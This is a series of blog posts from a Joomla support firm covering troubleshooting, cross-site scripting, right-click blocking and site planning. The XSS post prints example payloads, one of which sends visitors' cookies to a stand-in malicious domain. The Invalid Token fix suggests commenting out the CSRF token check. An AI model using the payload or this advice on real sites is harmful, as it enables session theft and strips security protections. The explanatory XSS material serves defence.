Now since it’s your website and you (or your legitimate users) are trying to login (or vote, or submit a form, etc..) to it normally, then theoretically, you shouldn’t see the “Invalid Token” message. However, since you are reading this post, then you have obviously experienced it! But why? Well, there are many reasons for you to get this error, and here’s a list of the most common ones:

  • Expired cookie: The cookie that Joomla expects you to have has expired. Deleting your cookies and trying to login again will fix the problem.
  • Caching: If we had a dime on how many problems caching creates on a Joomla website, we’d be billionaires! It’s amazing how many conflicts this very useful feature creates in Joomla (maybe the future of Joomla will feature a better caching system?). There are two ways to address the caching problem:

    1. Disable caching entirely. This is a two step process:
      1. Login to your Joomla control panel, go to Site, Global Configuration, System, and click on “No” next to Cache under Cache Settings and
      2. Disable the System cache plugin, by going to Extensions, Plugins, and then search for the System – Cache and click the checkbox next to it, and finally click on Disable on the top right.
    2. Fix the code for the login (or the other feature you’re having problem with) yourself, by commenting out the check for the token. (You may need Joomla Experts to do that for you!)
  • JomSocial: JomSocial is known to conflict with the user login on a Joomla website. There are several ways to solve this problem:

    • Uninstall JomSocial: Just uninstall JomSocial by going to Extensions and then the Install/Uninstall page in your Joomla Control Panel and then uninstall JomSocial.
    • Disable JomSocial plugins: Disable all JomSocial plugins. This will also solve the problem, but will definitely cause problems with JomSocial.
    • Fix the JomSocial code: Again, you may need Joomla Experts to do that for you.
  • Using legacy mode (Joomla 1.0 mode): Using Joomla in Legacy mode is known to cause this problem. Just disable the legacy mode plugin. Warning: This measure may break many other features.

  • Using legacy code for checking for tokens: Some versions of Joomla/Joomla templates feature some legacy code to check for tokens. This code needs to be changed. Here’s how to fix this problem:

    • Just open up the file /modules/mod_login/tmpl/default.php and change the line <?php JUtility::getToken(); ?> to <?php echo JHTML::_( 'form.token' ); ?>
    • In many cases, the login module is overridden by the template, so you need to check the code in your template there to see if it’s using the JUtility::getToken(); and change it to the JHTML::_( 'form.token' );
  • Disabled cookies on browser: If cookies are disabled on your browser then you will definitely see this problem. Enabling cookies will fix it.

Now there are many other ways that may cause the Invalid Token error on your Joomla website. If you have tried all of the above and you still can’t solve the problem, then please contact us and we’ll try our best to fix it for you in a very short time. Don’t worry, our fees are very reasonable and we are super fast!

404 Error on Joomla Homepage (Article #109 Not Found)

One of the common and recurring problems that our clients have is when their Joomla website shows a 404 Error on the homepage (and it says something like Article #n not found).

There are many causes for this error, including SEF installation/compatibility issues. However, the most common cause of this error is when the client deletes the Joomla article that is set to be displayed on the homepage by the main menu.

Here’s a scenario of how the problem can happen:

  • Article #109 (it can be another article number, we’re just giving an example) is set to be displayed on the homepage in the “Home” Menu Item
  • The article is either accidentally or purposely deleted.
  • The Joomla engine is confused: it doesn’t know which article to show on the homepage.
  • A 404 Error is displayed on the homepage .

Here’s how to fix this problem:

  • Login to your Joomla control panel.
  • Click on Menus (on the top) and then click on Main Menu.
  • Click on “Home” (should be the first entry in the Menu Item list. (You will notice that the URL next to Link no longer exists)
  • Choose an article that currently exists by clicking on the Select button next to Select Article under Parameters (Basic)
  • Click on Save on the top right.
  • Problem is solved.

As we have stated earlier, there might be other reasons for this problem, but this is the most common one. Now if doing the above did not solve your problem, then feel free to contact us, we’re very friendly and we’re eager to help you. Oh, and our fees are extremely reasonable!

How to Delete a Super Administrator in Joomla?

In a previous post, we explained how to create a super administrator user in Joomla. In that post, we also explained how to delete a super administrator, which can simply be done by going to the User Manager under Site, clicking on the checkbox next to the super administrator you wish to delete, and then clicking on the Delete button on the top right. While this method works for some versions of Joomla, it doesn’t work for others (you will be redirected to the User Manager’s page and the super administrator will not be deleted).

So, if the straightforward method doesn’t work for you, then here’s what you should do:

  • Login to your Joomla control panel as a super administrator (you can only delete a super administrator if you are a super administrator)
  • Click on the name of the super administrator you wish to delete
  • Change the group type of the super administrator (next to Group) from Super Administrator to Registered
  • Save his profile
  • Now click on the checkbox next to the name of that (previous) super admin, and click on delete (now it’ll certainly work)

Note that you can’t even block a super administrator, you need to first change his group to Registered, save his profile, and then open up his profile again, and click on Yes next to Block User. (We do think that the process for deleting/blocking super administrators is weird, since they can be deleted/blocked anyway, but with more work)

If you have problems deleting/blocking users on your website, then feel free to contact us and we’ll help you do that. We are very friendly and our services are reasonably priced.

The Future of Joomla

We have been working on Joomla websites since the creation of Joomla (before that we were working on Mambo websites). We consider ourselves Joomla experts, we know all the ins and outs of Joomla. Not only that, we are experts in web development in general, and we can see trends when it comes to web products, and we have reached a point where we can successfully predict the future of any web product that we currently support.

So, since Joomla is obviously a web product, what is its future?

We think that Joomla has a very bright future, and here’s why:

  • Interest in Joomla is growing in general: Take a look at the following chart that represents the number of visits to Joomla’s main website for the past 6 months:

    Joomla.org traffic - 6 month chart

    Joomla.org traffic – 6 month chart (courtesy of compete.com)

    As you can see from the above chart, US traffic to the main Joomla website has increased 30% in 6 months.

    Joomla is also one of the most downloaded CMS’s in the whole world, and it powers more than 1% (some say up to 3%) of the world’s websites.

  • The government uses Joomla: The are countless governmental websites (across the world – not just in the US) that are powered by Joomla. Just Google this. This is an important factor as governmental website are usually very reluctant to adopt a free CMS, and this means that governments and governmental agencies trust Joomla and they are confident that Joomla is here to stay.

  • The Joomla community is thriving: Just visit any Joomla forum, you’ll be able to see that there are more and more users joining this forum, this is another proof that Joomla is getting more and more attention and there are more developers working to support your Joomla website.

  • Joomla is coping nicely with the latest advancements in the Internet: Whether it’s mobile integration (there is now a Joomla app to manage your website from an Android device) or social networking, Joomla is on top of it. The Joomla creators are ensuring that Joomla remains and advanced and a cutting edge product.

Now that we know that Joomla’s future is bright? What are the things that we think will happen to Joomla in the future?

In order of no importance, here they are:

  • Seamless mobile browsing: Joomla’s functionality, templates, and extensions will be 100% compatible with smartphones, especially Android and iOS based smartphones.

  • Ability to cope with heavy load: Internet traffic, in general, is increasing. Joomla has long been criticized for not being scalable, but this will no longer be the case in the future. Joomla developers are continually working to make Joomla a lighter and yet a more powerful CMS, which means that Joomla websites will be able to cope with heave traffic load in the future.

  • An easier interface: While Joomla is not that hard, it’s not easy either. There are ways to make Joomla easier and those who are working on Joomla’s core know this. We expect that Joomla will feature an easier, more enjoyable experience for the end user in the (near?) future.

  • An easier installation: Joomla’s installation is easy, but it can be even easier. In the future, Joomla will feature a one form – one click installer that will make Joomla’s installation a breeze even for the most non-technical people.

  • More robust quality control: Anyone using Joomla can attest to the fact that Joomla’s core is extremely well written. However, the same cannot be said on some Joomla extensions that make it to the Joomla’s extensions directory. Joomla’s community is aware of this and will most likely enforce quality/security control on new Joomla extensions before they can make it to the Joomla’s extensions directory.

  • More integration with other products: Joomla currently suffers from poor integration with other prominent products, such as WordPress (for blogging) and osCommerce (for e-commerce). In the future, Joomla will be fully integrated with these products (Joomla developers will be soon coordinating with the makers of other products in order to accomplish this).

  • More extensions: Every day there are more and more extensions in the Joomla’s extensions directory. We expect that the number of extensions will keep growing for the foreseeable future.

  • Even more adoption: A faster, more robust, more flexible, and a fully mobile Joomla will increase Joomla’s adoption. This will make Joomla’s future even brighter.

If you have a Joomla website and you don’t want to wait for the future to have a certain functionality then we can help you develop it. Just contact us and we’re confident that we’ll be able to assist you.

The Joomla Experts

We, at itoctopus, are the Joomla Experts!

That’s what our ad on Google says! But do we deserve this title? We believe that we do, and here are 20 reasons on why we think we deserve the title of Joomla Experts:

  1. We know how to create any feature (extension) you want. We also can modify any existing Joomla extension to suit your needs.
  2. We have never turned down Joomla work because we were not able to do it.
  3. Our competitors outsource Jooma work to us when it’s too hard for them to do it themselves.
  4. We are the Joomla Security Experts. We use advanced techniques and a world class security software (see Acunetix and Joomla) to ensure that your website is safe and secure and that it remains safe and secure.
  5. We know how to dramatically speed up even the slowest Joomla website.
  6. We’re able to know what’s wrong with any Joomla website in an incredibly short time.
  7. We are very fast in our work. What takes our competitors hours to finish gets finished by us in an hour or less.
  8. We give you recommendations on how to enhance your website, even if you elect not to work with us.
  9. We are always friendly and professional with our customers, and we are genuinely care for our customers.
  10. We worry about the details when we work on your Joomla website.
  11. We’re not here only for the money, we’re here also for the fun and because we like to serve our customers!
  12. We can perform at 100% productivity at all times!
  13. We can fix your Joomla website even if it’s 2 AM in the morning, on Christmas eve, when all our friends are out there with their families. And we won’t complain!
  14. We will always, always find a solution to your problem. Our customers come to us and know that whatever Joomla problem they have, we will get it done!
  15. We maintain a blog where we mainly write about Joomla (tips, security, best practices, etc…) nearly every day.
  16. We have been working on Joomla since its inception (even before, when it was still called Mambo).
  17. We have worked on many Joomla websites and have many Joomla clients. Our clients include: Universities, congressmen, cities, churches, law firms, local newspapers, radio stations, restaurants, schools, small businesses (such as artists, architects, caterers, convenience stores, doctors, dog breeders, hardware stores, motels, musicians, photographers, real estate agencies, etc…), and many other non profits and for profits organizations/companies.
  18. We only write elegant code that others can easily read and can work with, should you decide to cease working with us.
  19. We treat all your data as confidential, and we destroy your website’s credentials once we cease working on it. We are professionals!
  20. Last but not least… We can re-create Joomla from scratch!

Oh, and here’s a bonus:

  1. We can ensure that your Joomla website meets all the web standards out there, including, but not limited to: PCI (for e-commerce compliance), W3C (for HTML compliance), and TrustE (for privacy compliance).

Do you still have any doubts that we are the Joomla Experts? If you don’t, then feel free to contact us whenever you need help on your Joomla website, as we are always ready to serve you, and our fees are very reasonable! If you still do have doubts, then try us anyway, and let us prove to you that we really are experts in Joomla!

Cross Site Scripting in Joomla

In our post about Acunetix and Joomla, we briefly mentioned the topic of Cross Site Scripting (XSS)1 in Joomla. In this post, we will discuss it in details.

Let us first explain what is Cross Site Scripting, and then we will discuss how it can affect your Joomla website, and finally we will tell you to secure your Joomla website against XSS attacks.

What is Cross Site Scripting (XSS)?

Cross Site Scripting is a “code injection” technique that injects (usually) malicious JavaScript to do one of the following:

  • Redirect your visitors to another website (where they will most likely get a virus on their PC)
  • Steal your user’s cookies, which is the first thing to do in order to steal their credentials.
  • Inject virus directly into your website (so that visitors to your website will get a virus on their PCs, without even being redirected to another website)
  • Display unwanted (often obscene) content on your website

How can a visitor inject XSS code into my Joomla website?

Any input field or a textarea is a door that a malicious attacker can use to inject XSS code into your Joomla website. For example, let’s say you have a Joomla article, and below that article there is a form where people can comment on your article. The textarea where people write their comments about the article can be used to inject XSS code into your website.

Can you give me an example of Cross Site Scripting?

Let’s consider the above scenario where you have written an article and below that article there’s a “Your comments” box. Someone might comment with the following:

<script>alert('Hi! This message will show up everytime someone visits this article! Sorry!');</script>

The above will display the following alert box whenever someone visits this article:

Alert message inserted by XSS

Figure 1: Alert message inserted using XSS

Of course, the above is not really malicious, but it’s annoying: everytime someone visits this particular article he will be greeted with this stupid message.

Now, how, let’s try something more dangerous. Take a look a the following code:

<script type="text/javascript">window.location = "http://www.anotherdomainthatmayormaynotbebad.com/"</script>

The above code will simply redirect every visit to this particular article to another domain (that may or may not be bad, and that may or may not infect your visitors’ PCs with a virus).

Now, let’s try something even more dangerous. Behold the following code:

<script>document.location='http://www.anotherdomainthatisprobablymalicious.com/getCredentials?data='+ document.URL +'|' + document.cookie</script>

Here’s what the above code will do: Whenever someone visits your website, it will redirect his visit to another domain that is probably malicious, and will also pass to that other domain the URL of your Joomla website and your visitor’s cookie. Now the malicious attacker’s next step is to gain some sensitive information about your visitor from his cookie (potentially his credentials to your website).

Note that the above attack can be made in a subtle way that doesn’t even involve redirecting your users (your users will not even notice), so it might be that your website is injected with XSS, but you’re not even aware of it.

How can I protect my Joomla website against Cross Site Scripting attacks?

The answer is simple, yet it’s complicated at the same time. The straightforward answer is to block any HTML/JavaScript code from being inserted into your website by using escaping and/or encoding, but at many times you may need to allow your users to insert HTML code, which will make the process of protecting your website while maintaining the same functionality complicated. You will need to allow some HTML code and disallow some other HTML code. You will need to ensure that your users will still be able to do all the legal activities (that you allow) on your website and that malicious attackers cannot inject any bad code into your content. For that, of course, you need to have programming experience or you need to outsource this work to the Joomla Security Experts.

But shouldn’t Joomla be protected against XSS attacks by default?

Yes, it should be, and it is. The only way for XSS to be injected into your Joomla website is either if you explicitly allow JavaScript to be added by your users (which is overriding the Joomla’s default settings), or if you install some weak extensions that do not address XSS injection at all. From our experience Joomla 1.5 is more likely to get attacked by XSS than later versions of Joomla.

What do you recommend?

We recommend that you consult with some experts if you don’t have the experience to block XSS attacks yourself. We do have the necessary skills to do this work for you, all you need to do is to contact us and we’ll ensure that all XSS attacks are blocked on your website (our fees are very reasonable and we are very fast). We also recommend that you follow these security tips to further enhance the security of your Joomla website.

1Cross Site Scripting’s acronym is XSS and not CSS to avoid confusion with Cascading Style Sheets.

How to List Your Joomla Website on Google Places

In our last post on how Joomla can be used by doctors, we briefly discussed that doctors, as well as any other small businesses, should list their Joomla website on Google Places in order for their business to get more exposure. In this post we are going to elaborate on how to do this. Below is a full, step-by-step guide:

  1. The first thing that you need to do is to create a Google account. You can create a Google account here. Once you create your Google account, you need to login to Google with this Google account. If you already have an account with Google, then you can safely skip the account creation step and login directly to your Google account.
  2. The second thing that you need to do is to go to Google places. Once you’re there click on the Get Started below.

  3. Now you need to fill in your information in the country field and the phone number (for example, “United States” for country, and “212 221 2221″ in your phone number). Make sure you enter the right phone number. Click on “Find Business Information” once you filled in both the country and the phone number fields.

  4. Now you need to enter all the information about your business, including the business name, the full address, your email address, your website address, a description about your business, the categories that match your business, your opening hours, your payment options, and some photos about your business. Once you have filled in all the information, click on “Submit”. Some important things that you need to be aware of:

    • Fill in all the 5 categories (don’t just fill one). The more categories you fill, the more exposure your business has. Make sure you don’t enter categories that are not relevant to your business.
    • The address of your business must be accurate and full, because Google will mail you a verification PIN to that address.
  5. That’s it! Now you will receive a mail from Google within 4 weeks containing a PIN number and a link where you should enter that PIN number. Once you enter the right PIN number, your listing will show on Google searches as part of the Google places.

If you need help adding your Joomla website to Google places, then feel free to Contact us. We’ll only charge you for an hour’s work, and our fees are very reasonable!

Joomla for Doctors

We have talked before on how small businesses can use Joomla to their advantage. Today, we are going to talk on how doctors (who run probably the most and critical important small business in every country) can use Joomla.

Let’s first discuss on why doctors need a website in general…

In this day and age, people no longer use the yellow pages to search for a business, but they use Google. And not only that, they also take Google’s recommendation into serious consideration. Let us do a small experiment, let us search for doctors near Naples, Florida on Google, and let’s see what we’ll get:

Doctors near Naples, Florida (Google Listing)

Figure 1: Doctors near Naples, Florida (Google Listing)

The above is what the person gets when s/he searches for “Doctors near Naples, Florida” on Google. Nowadays, Google lists the businesses that have enlisted with them through Google places before returning the actual search results. This is actually good for the doctors who are registered with Google places, great for those who are registered with Google places and have websites, bad for doctors who only have websites but have not registered their business with Google places, and really bad for those doctors who neither have a website nor have registered their business in Google places.

Now let’s examine the above listing further, you can easily see that the first two doctors have maps.google.com as their website address (which is not the case, of course, but Google automatically sets their website to their link on Google maps if they don’t have a website). Now guess which doctor the patients will choose? Will they choose one without a website that they know nothing about, or will they choose a doctor who has a website and whom professional information is public through that website?

Now this reason, and this reason alone, is enough to justify why each and every doctor/clinic should have a website (and should list his business with Google places).

Now why should doctors go for a Joomla website?

There are many reasons why doctors should use Joomla to build and manage their website, mainly:

  • Joomla is very easy to use: Doctors only need to create new content/update old content on their website, and this is not hard at all with Joomla, even if they have no technical experience whatsoever.
  • Joomla is everything that they need: Doctors don’t need anything that isn’t supported by Joomla, and they may only need a couple of extensions to add to the Joomla’s default installation so that Joomla satisfies all their needs.

  • Joomla needs little maintenance: A Joomla website needs very little maintenance, and even this maintenance is provided for a very reasonable fee by Joomla support companies such as itoctopus (see our Joomla Maintenance Package).

  • Joomla websites are affordable: Although most doctors do not care about expenses, it doesn’t make sense for them to pay a lot of money for a website while they can pay much less. Since Joomla is free, all the doctor needs to pay to create his website is for the installation/configuration of his Joomla website (Note that the doctor has to also pay for his template in case he opted for a paid template). And that’s it!

Now what is the typical structure of a doctor’s website?

A doctors’ website has a pretty simple structure, and it consists of the following pages:

  • Homepage: The page that (usually) visitors see first when they visit the doctor’s website. This page contains a brief information about the doctor and his area of expertise. This page typically includes a photo of the doctor.
  • Meet the Doctor: This page contains detailed information about the doctor: his/her educational background, his certificates, and his professional associations.

  • Meet the Staff: Doctors don’t usually operate alone, they have a staff behind them. This page lists the staff, mainly nurses and receptionists. The staff may also include other junior doctors serving with the main doctor in his clinic.

  • Clinic Hours: This page lists the business hours of the clinic. Most clinics are open from 8 AM to 3 PM on regular days, from 9 AM to 12 PM on Saturdays, and they close on Sundays. Ideally, this page will list the non-working holidays (for example, Christmas) so that patients will know that the doctor is closed during these days.

  • How to pay: This page will list all the payment methods that the doctor accepts, such as cash, check, Visa, Mastercard, etc…

  • Directions/Contact Us: This page contains the full address of the clinic, and it may include a map (such as a Google map). The page also lists the clinic’s coordinates such as the phone number, fax number, email, etc… Additionally, this page usually includes a form that patients can fill in to contact the doctor directly.

A doctor websites may also include other pages that consist of authority articles written by the doctor on topics concerning his profession.

Now if you are a doctor, and you need help building/managing/extending/maintaining your Joomla website, then feel free to contact us. Our fees are reasonable, we are very friendly, and we are always there (we even offer 24/7/365 Emergency Joomla Support).

VirtueMart: Adding to Cart Not Working

Several customers approached us at one time or the other with the following problem: When they try to add an item to the cart in VirtueMart (on their Joomla website), the add to cart doesn’t work (nothing will happen – the person remains on the same page).

They also tell us the following information:

The first thing that our clients tell us is that they might’ve made a mistake while installing the SSL certificate (e.g. they didn’t install it properly), but, from our experience, in 99.99% of the cases, the installation of the SSL was done the right way. However, the problem is indeed related to the SSL certificate.

Here’s what to do to fix the problem:

  • First, ensure that SSL is not enabled for the whole website. You can do this by logging in to your Joomla’s backend, and then clicking on Site on the top left, and then clicking Global Configuration in the drop down menu, and then clicking on Server in the menu below, and then choosing None from the drop down menu next to Force SSL, and finally clicking on Save on the top right.
  • The second step is to ensure that SSL is only enabled on the checkout part of your VirtueMart (you don’t need SSL anywhere in any case to meet most e-com security standards). Note that newer versions of VirtueMart allow you to enable SSL on other pages of VirtueMart too, but you only need to enable SSL on checkout (the previous post on SSL – linked to from above – explains, in details, how to enable SSL on VirtueMart’s checkout page). Also note that enabling SSL on VirtueMart may slightly differ from one version to the other.

Now if you’re experiencing this problem and you are unable to fix it by following the above steps, then please contact us (our fees are very affordable), and you’ll be surprised how efficient we are.

How to Advertise on Joomla

It is normal for a business to advertise on its website to get some extra revenue. There are many ways to advertise on a Joomla website:

  • Use contextual ads: Contextual ads are advertisements that are displayed by 3rd party companies such as Google and Yahoo. The advantages of contextual ads are the following:
    • They flow with the website: The contextual ads read the contents of your Joomla website and then try to display ads that are very relevant to your website. This is their power. When visitors see ads that are relevant to your content, they are more likely to click on them, and you are more likely to make money.
    • There is no maintenance associated with these ads: You don’t have to deal with advertisers, you don’t have to deal with payments, you don’t have to deal with anything, it’s all taken care for you.

    • They are very simple to install: All you need to do is install a JavaScript code on your website and the ads will be displayed.

    Although contextual ads are good, they have some disadvantages, including:

    • Low and slow earnings: Don’t expect to just make a substantial amount of money the moment you put these contextual ads on your website. The process to making money from contextual ads is slow and painful.
    • Ads for competitors may appear on your website: There is nothing worse for a business than to see the ads of a competitor on its own website, and this tends to happen quite often if you use contextual ads. However, Google allows you to block competitors in their ad management system.

    • You know nothing about the ads that appear on you website: Who knows, maybe you are displaying the ads of some scammers that Google hasn’t caught yet.

  • Use banners: Placing banner ads on your Joomla website is an excellent way to make revenue. The advantages of banner ads include:

    • You know who you’re advertising for: Unlike contextual ads, you know exactly who you’re advertising for when using banner advertisements. This is because your advertisers contact you directly (or you contact your advertisers directly) to put their banners on your website.
    • You get to choose which ads display on your website: Again, when using banner ads, you get to either accept or reject ads for display on your website. This will give you total control over the content of your website, including the displayed ads.

    • You’ll make more money: You are the one to set the price of your ads that display on your website when you go for banner ads, and it’s you, and you alone, who will get the money of the ads (you don’t share it with anyone else, including Google)

    The disadvantages of banner ads are the following:

    • You’ll have to manage the ad campaigns yourself: This includes approving/rejecting ads, following up with advertisers for payments, and more importantly, finding advertisers to advertise on your website.
    • Creating, installing, and managing the ad system can be time consuming: You will have to create (at best customize) an ad system to fit your needs, which may take some time and will cost you money.

If you wish to install a banner system on your website or you wish to ingrate contextual ads, then you can contact us and we can help you do so. Oh, and our fees are very affordable!

When Will Joomla 1.8 Be Released?

At itoctopus, we have started using Joomla since its inception, and we are familiar with every single version of Joomla. We are always excited to know when will the next Joomla version be released, and that’s why we’re writing this post…

As stated earlier, we have been using Joomla for a long time, however, we were never able to guess when will a (completely) new version of Joomla be released. There is no pattern whatsoever, let us explain:

  • Joomla 1.0 was released back in September of 2005.
  • Almost 2 years and six months later, Joomla 1.5 was released (in January of 2008).
  • 3 years later, Joomla 1.6 was released (in January of 2011).
  • 6 months after the release of Joomla 1.6, Joomla 1.7 was released (in July of 2011).
  • According to the Joomla official website, there will be no Joomla 1.8, but instead there will be Joomla 2.5, which will be released in January of 2012 (6 months after releasing the 1.7 version).

It’s easy to see from the above why it’s really hard to predict when will the next version of Joomla be released. There is an interesting thing that we have to mention as well, is that Joomla 1.5 will be officially maintained until April of 2012, while support will cease (or have ceased) on August of 2011 and on February of 2012 for Joomla 1.6 and 1.7 (which are later releases), respectively. We believe that the explanation to this is that Joomla 1.5 is used by so many websites, while this is not the case for Joomla 1.6 or 1.7.

So, again, if you’re looking forward to Joomla 1.8, don’t hold your breath, as there won’t be any. There will be only Joomla 2.5, and that’s in less than a couple of months.

Now if you need help upgrading your website, then you can just contact us, and we’ll certainly help you, and our fees are very reasonable!

How to Prevent Right Click in Joomla?

Many of our customers ask us to disable right click on their Joomla website. As such, we have decided to write a post explaining how this is done.

Before starting, you need to be aware of the following:

  • Preventing right clicks will only deter non-technical visitors from stealing your content (such as text and images). Right click prevention can be easily overcome by simply disabling JavaScript in the browser settings.
  • Preventing right clicks will not affect your search engine rankings, and search engines will still index your website normally (search engines tend to ignore JavaScript code on your website, unless, of course, it’s malicious).

  • Even if the person has not disabled JavaScript, he will still be able to copy content from your website by simply selecting the text and then clicking on CTRL+C.

Now that you know that preventing right clicks is not an efficient way to protect your content, let us explain to you how you can do it.

The first thing you need to do is to copy the following code:


<SCRIPT TYPE="text/javascript">

<!--
var msg = "Right click disabled"; //change this message to a message of your own if you want
var showMsg = 1; //change this to 0 if you do not want to show any popup messages when the user right clicks

function internetExplorerRightClick(){ //code to handle right clicks in Internet Explorer
if (document.all){
if (showMsg == 1){
alert(msg);
}
return false;
}
}

function firefoxRightClick(e){ //code to handle right clicks in Firefox and Chrome (as well as other obsolete browsers such as Netscape)
if ((document.layers) || (document.getElementById && !document.all)) {
if (e.which==2 || e.which==3){
if (showMsg == 1){
alert(msg);
}
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=firefoxRightClick;
}
else{
document.onmouseup=firefoxRightClick;
document.oncontextmenu=internetExplorerRightClick;
}

document.oncontextmenu=new Function("return false");

// -->
</SCRIPT>

The next thing you need to is to open your Joomla template for editing and place (paste) the above code within the <head> HTML tag. Here’s how you do this:

  • Login to your Joomla website as Super Administrator
  • Click on Extensions, and then click on Template Manager
  • Click on the name of the default template (the template that has a yellow star next to it)
  • Click on Edit HTML on the top right
  • Paste the code above just after the <head> HTML tag
  • Click on Save on the top right
  • That’s it!

Now if you don’t want to display any messages when the user right clicks on your website, then all you need to do is change the value of showMsg to 1.

If you need any help doing the above, then all you need to do is to Contact us. We are very friendly, and we’re always there to help!

Joomla for Dog Breeders

We have talked before on how Joomla is ideal for small businesses. One small business that we think is greatly benefiting from Joomla is the dog breeding business. It’s amazing how many dog breeders out there use Joomla to power their websites…

Now why do dog breeders use Joomla? And how does a dog breeding website that is powered by Joomla look like? And what are the typical functionalities needed in dog breeding websites? Let us answer these questions…

Why do dog breeders prefer Joomla over other CMS’s to power their websites?

As stated earlier, most dog breeders out there use Joomla to power their website, but why did they choose Joomla (instead of WordPress, for example)? Here’s why:

  • Joomla is reasonably easy: Dog breeders are able to create and update content in Joomla easily. Since dog breeders have a lot of content to add and modify every week, it is essential for the process of adding/removing content on their website to be reasonably easy.
  • Joomla has many templates that can be used by dog breeders: Dog breeders are able to choose from an array of templates that are specifically targeted at their business.

  • Joomla has many extensions that can be used by dog breeders: For example, and by using specific extensions, dog breeders are able to list all their dogs online and they are also able to do sales online.

How does a dog breeding website look like?

We have noticed that the following pages are common in dog breeding websites:

  • Homepage: The landing page of the dog breeding website.

  • Albums:: A page containing cute pictures of dogs owned by the dog breeder. The purpose of this page is to grab the attention of the visitors.

  • Puppies for sale: A page listing all the puppies that are for sale. Some websites integrate a shopping cart on this page and thus are able to sell their dogs/their services online.

  • Our services: A list of all the services offered by the dog breeder. For example, vaccination, cleaning, hair cutting, etc…

  • Beware of scammers: This is basically a page telling visitors how to spot dog breeders who are scammers.

  • Testimonials: A page listing testimonials from different clients. Each testimonial consists of the name of the client, how she’s satisfied with her current dog, and why she recommends this dog breeder for other clients.

  • FAQ: The “Frequently Asked Questions” page. A page containing all the questions that are usually asked by the clients when buying from a dog breeder. All questions are answered on this page.

  • About us: A page containing detailed information about the dog breeder (when was the business created, by whom, how many dogs sold until now, which area does the dog breeder serve, etc…)

  • Contact us: A page that can be used to contact the dog breeder, usually includes the phone number and the address of the dog breeder, as well as a form that visitors have to fill in if they want to contact the dog breeder through the website.

  • Sitemap: A regular sitemap that visitors can use to locate buried pages on the website.

What are the typical functionalities in a dog breeding website?

There are two essential functionalities needed on any dog breeding website:

  • Photo album: Dog breeders use photo albums to show their dogs to the visitors. (Note: This is used in the “Albums” page above).

  • Catalog: Dog breeders use a catalog to display all the dogs that they have for sale. The catalog consists of a listing of all the dogs for sale, and each entry in this listing consists of an image of the dog, the dog’s name, the dog’s breed type, the age of the dog, and, of course, his price.

Additionally, there are many dog breeders who sell dogs online, and thus require a shopping cart and integration with a payment gateway (such as PayPal) in order to do this. The VirtueMart extension is able to handle this requirement (and more!).

If you are a dog breeder and you wish to create a Joomla website for your dog breeding business, or if you are a dog breeder and you already own a Joomla website for your business and you wish to upgrade it/enhance it/extend it, then we’re here to help. Just contact us and we’ll take it from there!

Joomla for Churches

It is a fact that Joomla, as a CMS, is used extensively for non-profits. And, from our experience, one of the main non-profits taking advantage of Joomla to establish a web presence is churches. In this post, we will discuss the following:

  • Why many churches use Joomla to power their websites
  • What is the typical structure of a church website that is powered by Joomla
  • What are the usual features that churches demand for their websites
  • How we can help a church create (or maintain) its Joomla website

Why do many churches use Joomla to power their websites?

The reason for this is simple, churches, like small businesses, don’t have the resources nor the time to create and manage their own CMS (that usually costs much more and needs much more maintenance). So, they go with Joomla, which is a free to install and to use CMS that is backed by a very large community that will cater for their every needs. Joomla also has many church templates that churches can use for a professional look & feel.

What is the typical structure for a church website powered by Joomla?

We made many church websites over the years and here’s what we think are the typical pages on any church website:

  • Homepage: A page that gives a glimpse about the church.
  • Who we are: More or less like an “About Us” page. The “About Us” page contains detailed information about the mission of the church.

  • History: This page contains information about the history of the website: When it was created, why it was created, and, of course, who created it.

  • Contact us: A page that contains all the contact information of the church including the phone/fax number, the full address, the email, and the Facebook page. This page may also contain a form that visitors can fill in to contact the church.

  • Latest news: A page listing the latest news/activities of the church. This page may also be calendar-based.

Other pages may include “The advantage of joining the church”, “Miscellaneous information about Christianity”, “Sunday school”, “How to pray”, “Why pray”, etc…

What are the usual features that churches demand for their websites?

The usual features that churches demand for their websites are:

  • A contact us form that is used by visitors to contact the church
  • A calendar extension (such as JEvent) to list all the church’s events
  • Social networking integration (Facebook/Twitter) that will help the church reach its followers/potential followers through social media

How do we help your church create a Joomla website?

We know that for many churches, the process for creating a website is a bit intimidating, even when using Joomla. Here’s what we usually do to help you create your Joomla website:

  • We collect the requirements from you: We will ask you what you want on your website and what you do not want on your website. Rest assured that we will help you during the requirements gathering process because we know what churches want from their websites and what they do not want (this is because we have helped many churches create/upgrade their websites).
  • We suggest templates: There are many Joomla templates that are either free or paid that can be used by churches. We will suggest some templates that you can choose from to use on your website.

  • We teach you how to use your Joomla website: Joomla is not that hard, but the person managing a Joomla website may need some training. We will train the person(s) who will manage your Joomla website.

How do we help your church maintain its Joomla website?

Websites are like cars – they need maintenance, otherwise they’ll rot!

We have a Joomla maintenance package that is very reasonably priced. Our maintenance package will ensure that your Joomla website and your standard extensions are secure and functioning properly. We will also backup your website regularly and will give you 3 hours (and an additional 1 emergency hour) of Joomla professional work.

Are you in the process of creating a new Joomla website for your church? If you are, then contact us, and rest assured that you can rely on us to help you achieve this goal!

What Will Happen When Your Joomla Website Is Hacked

In previous posts, we have discussed how you know if your Joomla website is hacked and what to do when you discover that it’s hacked. Right now, we want to discuss what will happen to your Joomla website when it’s hacked.

According to our experience on the subject, here’s what will happen when your Joomla website gets hacked:

In the first week

This is what will happen within the first week of the hacking of your website:

  • Google will stop indexing your website: Google, the search engine that you work hard all the time to ensure that your website and your new pages are listed in, will stop indexing new pages on your website. Your old pages will remain indexed (this is because Google hasn’t re-indexed old pages yet to see if they were also hacked), but Google will refuse to index your new pages.
  • Yahoo and Bing will stop indexing your website: Similarly to Google, Yahoo and Bing will refuse to index new pages, but will leave already indexed pages in their index.

  • Users visiting your website will stop visiting it because they will either notice that it is hacked, or worse, their PCs will get infected by a virus just for visiting your website.

What to do at this point?

  • Fix the problem and search engines will resume (almost immediately) indexing of your new pages (and will also index “skipped” pages that were not indexed when your website was hacked).

In the second week

Below is what will happen 1 week after your website gets hacked:

  • Search engines will display something like “This website may harm your computer” next to the search results related to your Joomla website and will still not index your pages.
  • Your website will be reported as a “threat” or as an “infected website” to security websites.

What to do at this point?

  • Fix the problem and search engines will gradually remove the warning next to your website’s results in the SERPs. Search engines will resume indexing of your website in a week or two.

In the third week

Below is what will happen 2 weeks after your website gets hacked:

  • Google will penalize your website with the 50 penalty (which means that if a page of yours used to rank as #3 for a keyword when your website was clean, will rank as #53 for the same keyword now that it is infected).
  • Security websites will check your Joomla website and will list it as “infected” and will add it to a blacklist.

  • Your hosting provider will be informed that your website is hacked and will be asked to disable it until you fix the problem.

